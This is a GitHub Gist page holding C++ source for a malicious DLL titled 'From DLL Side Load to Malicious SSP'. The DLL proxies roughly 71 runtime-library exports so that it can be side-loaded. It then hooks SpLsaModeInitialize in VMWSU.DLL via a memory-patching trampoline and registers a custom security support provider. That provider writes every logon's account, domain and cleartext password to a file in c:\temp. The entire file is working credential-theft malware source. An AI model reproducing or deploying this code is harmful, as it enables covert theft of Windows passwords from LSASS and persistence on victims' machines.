-
-
Save snovvcrash/8e2e0e0b04014c61c81761e0bddbc6ea to your computer and use it in GitHub Desktop.
From DLL Side Load to Malicious SSP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package | |
* https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L178-L262 | |
*/ | |
#include "pch.h" | |
#define WIN32_NO_STATUS | |
#define SECURITY_WIN32 | |
#include <windows.h> | |
#include <sspi.h> | |
#include <NTSecAPI.h> | |
#include <ntsecpkg.h> | |
#include <iostream> | |
#pragma comment(lib, "Secur32.lib") | |
#pragma comment(linker, "/export:_CreateFrameInfo=tmp50CA._CreateFrameInfo,@1") | |
#pragma comment(linker, "/export:_CxxThrowException=tmp50CA._CxxThrowException,@2") | |
#pragma comment(linker, "/export:_FindAndUnlinkFrame=tmp50CA._FindAndUnlinkFrame,@3") | |
#pragma comment(linker, "/export:_IsExceptionObjectToBeDestroyed=tmp50CA._IsExceptionObjectToBeDestroyed,@4") | |
#pragma comment(linker, "/export:_SetWinRTOutOfMemoryExceptionCallback=tmp50CA._SetWinRTOutOfMemoryExceptionCallback,@5") | |
#pragma comment(linker, "/export:__AdjustPointer=tmp50CA.__AdjustPointer,@6") | |
#pragma comment(linker, "/export:__BuildCatchObject=tmp50CA.__BuildCatchObject,@7") | |
#pragma comment(linker, "/export:__BuildCatchObjectHelper=tmp50CA.__BuildCatchObjectHelper,@8") | |
#pragma comment(linker, "/export:__C_specific_handler=tmp50CA.__C_specific_handler,@9") | |
#pragma comment(linker, "/export:__C_specific_handler_noexcept=tmp50CA.__C_specific_handler_noexcept,@10") | |
#pragma comment(linker, "/export:__CxxDetectRethrow=tmp50CA.__CxxDetectRethrow,@11") | |
#pragma comment(linker, "/export:__CxxExceptionFilter=tmp50CA.__CxxExceptionFilter,@12") | |
#pragma comment(linker, "/export:__CxxFrameHandler=tmp50CA.__CxxFrameHandler,@13") | |
#pragma comment(linker, "/export:__CxxFrameHandler2=tmp50CA.__CxxFrameHandler2,@14") | |
#pragma comment(linker, "/export:__CxxFrameHandler3=tmp50CA.__CxxFrameHandler3,@15") | |
#pragma comment(linker, "/export:__CxxQueryExceptionSize=tmp50CA.__CxxQueryExceptionSize,@16") | |
#pragma comment(linker, "/export:__CxxRegisterExceptionObject=tmp50CA.__CxxRegisterExceptionObject,@17") | |
#pragma comment(linker, "/export:__CxxUnregisterExceptionObject=tmp50CA.__CxxUnregisterExceptionObject,@18") | |
#pragma comment(linker, "/export:__DestructExceptionObject=tmp50CA.__DestructExceptionObject,@19") | |
#pragma comment(linker, "/export:__FrameUnwindFilter=tmp50CA.__FrameUnwindFilter,@20") | |
#pragma comment(linker, "/export:__GetPlatformExceptionInfo=tmp50CA.__GetPlatformExceptionInfo,@21") | |
#pragma comment(linker, "/export:__NLG_Dispatch2=tmp50CA.__NLG_Dispatch2,@22") | |
#pragma comment(linker, "/export:__NLG_Return2=tmp50CA.__NLG_Return2,@23") | |
#pragma comment(linker, "/export:__RTCastToVoid=tmp50CA.__RTCastToVoid,@24") | |
#pragma comment(linker, "/export:__RTDynamicCast=tmp50CA.__RTDynamicCast,@25") | |
#pragma comment(linker, "/export:__RTtypeid=tmp50CA.__RTtypeid,@26") | |
#pragma comment(linker, "/export:__TypeMatch=tmp50CA.__TypeMatch,@27") | |
#pragma comment(linker, "/export:__current_exception=tmp50CA.__current_exception,@28") | |
#pragma comment(linker, "/export:__current_exception_context=tmp50CA.__current_exception_context,@29") | |
#pragma comment(linker, "/export:__intrinsic_setjmp=tmp50CA.__intrinsic_setjmp,@30") | |
#pragma comment(linker, "/export:__intrinsic_setjmpex=tmp50CA.__intrinsic_setjmpex,@31") | |
#pragma comment(linker, "/export:__processing_throw=tmp50CA.__processing_throw,@32") | |
#pragma comment(linker, "/export:__report_gsfailure=tmp50CA.__report_gsfailure,@33") | |
#pragma comment(linker, "/export:__std_exception_copy=tmp50CA.__std_exception_copy,@34") | |
#pragma comment(linker, "/export:__std_exception_destroy=tmp50CA.__std_exception_destroy,@35") | |
#pragma comment(linker, "/export:__std_terminate=tmp50CA.__std_terminate,@36") | |
#pragma comment(linker, "/export:__std_type_info_compare=tmp50CA.__std_type_info_compare,@37") | |
#pragma comment(linker, "/export:__std_type_info_destroy_list=tmp50CA.__std_type_info_destroy_list,@38") | |
#pragma comment(linker, "/export:__std_type_info_hash=tmp50CA.__std_type_info_hash,@39") | |
#pragma comment(linker, "/export:__std_type_info_name=tmp50CA.__std_type_info_name,@40") | |
#pragma comment(linker, "/export:__telemetry_main_invoke_trigger=tmp50CA.__telemetry_main_invoke_trigger,@41") | |
#pragma comment(linker, "/export:__telemetry_main_return_trigger=tmp50CA.__telemetry_main_return_trigger,@42") | |
#pragma comment(linker, "/export:__unDName=tmp50CA.__unDName,@43") | |
#pragma comment(linker, "/export:__unDNameEx=tmp50CA.__unDNameEx,@44") | |
#pragma comment(linker, "/export:__uncaught_exception=tmp50CA.__uncaught_exception,@45") | |
#pragma comment(linker, "/export:__uncaught_exceptions=tmp50CA.__uncaught_exceptions,@46") | |
#pragma comment(linker, "/export:__vcrt_GetModuleFileNameW=tmp50CA.__vcrt_GetModuleFileNameW,@47") | |
#pragma comment(linker, "/export:__vcrt_GetModuleHandleW=tmp50CA.__vcrt_GetModuleHandleW,@48") | |
#pragma comment(linker, "/export:__vcrt_InitializeCriticalSectionEx=tmp50CA.__vcrt_InitializeCriticalSectionEx,@49") | |
#pragma comment(linker, "/export:__vcrt_LoadLibraryExW=tmp50CA.__vcrt_LoadLibraryExW,@50") | |
#pragma comment(linker, "/export:_get_purecall_handler=tmp50CA._get_purecall_handler,@51") | |
#pragma comment(linker, "/export:_get_unexpected=tmp50CA._get_unexpected,@52") | |
#pragma comment(linker, "/export:_is_exception_typeof=tmp50CA._is_exception_typeof,@53") | |
#pragma comment(linker, "/export:_local_unwind=tmp50CA._local_unwind,@54") | |
#pragma comment(linker, "/export:_purecall=tmp50CA._purecall,@55") | |
#pragma comment(linker, "/export:_set_purecall_handler=tmp50CA._set_purecall_handler,@56") | |
#pragma comment(linker, "/export:_set_se_translator=tmp50CA._set_se_translator,@57") | |
#pragma comment(linker, "/export:longjmp=tmp50CA.longjmp,@58") | |
#pragma comment(linker, "/export:memchr=tmp50CA.memchr,@59") | |
#pragma comment(linker, "/export:memcmp=tmp50CA.memcmp,@60") | |
#pragma comment(linker, "/export:memcpy=tmp50CA.memcpy,@61") | |
#pragma comment(linker, "/export:memmove=tmp50CA.memmove,@62") | |
#pragma comment(linker, "/export:memset=tmp50CA.memset,@63") | |
#pragma comment(linker, "/export:set_unexpected=tmp50CA.set_unexpected,@64") | |
#pragma comment(linker, "/export:strchr=tmp50CA.strchr,@65") | |
#pragma comment(linker, "/export:strrchr=tmp50CA.strrchr,@66") | |
#pragma comment(linker, "/export:strstr=tmp50CA.strstr,@67") | |
#pragma comment(linker, "/export:unexpected=tmp50CA.unexpected,@68") | |
#pragma comment(linker, "/export:wcschr=tmp50CA.wcschr,@69") | |
#pragma comment(linker, "/export:wcsrchr=tmp50CA.wcsrchr,@70") | |
#pragma comment(linker, "/export:wcsstr=tmp50CA.wcsstr,@71") | |
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; } | |
NTSTATUS NTAPI SpShutDown(void) { return 0; } | |
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo) | |
{ | |
PackageInfo->Name = (SEC_WCHAR*)L"mySSP"; | |
PackageInfo->Comment = (SEC_WCHAR*)L"mySSP <o>"; | |
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; | |
PackageInfo->wRPCID = SECPKG_ID_NONE; | |
PackageInfo->cbMaxToken = 0; | |
PackageInfo->wVersion = 1; | |
return 0; | |
} | |
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials) | |
{ | |
HANDLE outFile = CreateFile(L"c:\\temp\\logged-pw.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); | |
DWORD bytesWritten = 0; | |
std::wstring log = L""; | |
std::wstring account = AccountName->Buffer; | |
std::wstring domain = PrimaryCredentials->DomainName.Buffer; | |
std::wstring password = PrimaryCredentials->Password.Buffer; | |
log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n"); | |
WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL); | |
CloseHandle(outFile); | |
return 0; | |
} | |
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = | |
{ | |
{ | |
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL | |
} | |
}; | |
typedef NTSTATUS(NTAPI* typeSpLsaModeInitialize)(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables); | |
struct HookedSpLsaModeInitialize | |
{ | |
typeSpLsaModeInitialize originSpLsaModeInitialize; | |
BYTE spLsaModeInitializeStub[16]; | |
}; | |
HookedSpLsaModeInitialize g_hookedSpLsaModeInitialize; | |
struct HookTrampolineBuffers | |
{ | |
BYTE* originalBytes; | |
DWORD originalBytesSize; | |
BYTE* previousBytes; | |
DWORD previousBytesSize; | |
}; | |
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers) | |
{ | |
uint8_t trampoline[] = { | |
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr | |
0x41, 0xFF, 0xE2 // jmp r10 | |
}; | |
uint64_t addr = (uint64_t)(jumpAddress); | |
memcpy(&trampoline[2], &addr, sizeof(addr)); | |
DWORD dwSize = sizeof(trampoline); | |
DWORD oldProt = 0; | |
bool output = false; | |
if (installHook) | |
{ | |
if (buffers != NULL) | |
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); | |
if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt)) | |
{ | |
memcpy(addressToHook, trampoline, dwSize); | |
output = true; | |
} | |
} | |
else | |
{ | |
dwSize = buffers->originalBytesSize; | |
if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt)) | |
{ | |
memcpy(addressToHook, buffers->originalBytes, dwSize); | |
output = true; | |
} | |
} | |
::VirtualProtect(addressToHook, dwSize, oldProt, &oldProt); | |
return output; | |
} | |
void NTAPI MySpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables) | |
{ | |
HookTrampolineBuffers buffers = { 0 }; | |
buffers.originalBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub; | |
buffers.originalBytesSize = sizeof(g_hookedSpLsaModeInitialize.spLsaModeInitializeStub); | |
HINSTANCE library = LoadLibraryA("VMWSU.DLL"); | |
FARPROC spLsaModeInitializeAddress = GetProcAddress(library, "SpLsaModeInitialize"); | |
fastTrampoline(false, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, &buffers); | |
*PackageVersion = SECPKG_INTERFACE_VERSION; | |
*ppTables = SecurityPackageFunctionTable; | |
*pcTables = 1; | |
fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, NULL); | |
} | |
int myMain() | |
{ | |
HookTrampolineBuffers buffers = { 0 }; | |
buffers.previousBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub; | |
buffers.previousBytesSize = sizeof(g_hookedSpLsaModeInitialize); | |
HINSTANCE library = LoadLibraryA("VMWSU.DLL"); | |
typeSpLsaModeInitialize spLsaModeInitializeAddress = (NTSTATUS(NTAPI*)(ULONG, PULONG, PSECPKG_FUNCTION_TABLE*, PULONG))GetProcAddress(library, "SpLsaModeInitialize"); | |
g_hookedSpLsaModeInitialize.originSpLsaModeInitialize = reinterpret_cast<typeSpLsaModeInitialize>(spLsaModeInitializeAddress); | |
if (!fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)MySpLsaModeInitialize, &buffers)) | |
return 1; | |
return 0; | |
} | |
BOOL APIENTRY DllMain(HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
myMain(); | |
break; | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment